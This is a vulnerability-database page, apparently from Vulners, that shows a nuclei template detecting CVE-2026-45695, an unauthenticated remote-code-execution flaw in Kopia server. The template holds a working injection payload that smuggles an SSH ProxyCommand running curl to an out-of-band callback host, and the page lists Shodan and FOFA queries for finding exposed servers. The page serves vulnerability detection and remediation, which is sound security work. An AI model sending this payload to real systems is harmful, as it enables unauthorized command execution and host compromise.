Lucene search
+L

Kopia Server 0.23.0 - Remote Code Execution

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 57 Views

Unauthenticated RCE in Kopia before 0.23.0 via SSH argument injection in SFTP backend.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-45695
16 Jul 202615:42
–attackerkb
circl
Circl
CVE-2026-45695
16 Jul 202616:42
–circl
cve
CVE
CVE-2026-45695
16 Jul 202615:42
–cve
cvelist
Cvelist
CVE-2026-45695 Kopia: Unauthenticated RCE via SSH ProxyCommand Injection when --insecure --without-password is used
16 Jul 202615:42
–cvelist
euvd
EUVD
EUVD-2026-44948
16 Jul 202615:42
–euvd
github
Github Security Blog
Kopia: RCE via SSH ProxyCommand Injection
19 May 202619:18
–github
mend
Mend
CVE-2026-45695
16 Jul 202615:42
–mend
nvd
NVD
CVE-2026-45695
16 Jul 202616:19
–nvd
osv_ghsa
osv_ghsa
GHSA-2Q4C-3MRW-63C3 Kopia: RCE via SSH ProxyCommand Injection
19 May 202619:18
–osv_ghsa
osv_go
osv_go
GO-2026-5009 Kopia: RCE via SSH ProxyCommand Injection in github.com/kopia/kopia
20 May 202619:07
–osv_go
Rows per page
id: CVE-2026-45695

info:
  name: Kopia Server 0.23.0 - Remote Code Execution
  author: kenlacroix
  severity: critical
  description: |
    Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.
  impact: |
    An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.
  remediation: |
    Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.
  reference:
    - https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3
    - https://github.com/kopia/kopia/pull/5354
    - https://orca.security/resources/blog/kopia-backup-rce-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45695
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-45695
    epss-score: 0.0161
    epss-percentile: 0.75742
    cwe-id: CWE-88
  metadata:
    max-request: 1
    vendor: kopia
    product: kopia
    shodan-query: http.favicon.hash:952466528
    fofa-query: icon_hash=="952466528"
  tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive,vkev

http:
  - raw:
      - |
        POST /api/v1/repo/exists HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"storage":{"type":"sftp","config":{"path":"/{{rand_base(6)}}","host":"127.0.0.1","port":22,"username":"{{rand_base(6)}}","externalSSH":true,"sshArguments":"-oProxyCommand=curl${IFS}{{interactsh-url}}"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'unable to open SFTP storage'
          - 'error":'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - 'User-Agent: curl'
# digest: 4a0a00473045022100c82ff412c69cd055a9864731dfc1676227d4e4e75f9536c253a9c472164f1f6b02201eec1485f5f4ac3b3fdbad310fef261783f94edee5838492d647f0b48c86796d:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jun 2026 15:54Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.0161
SSVC
57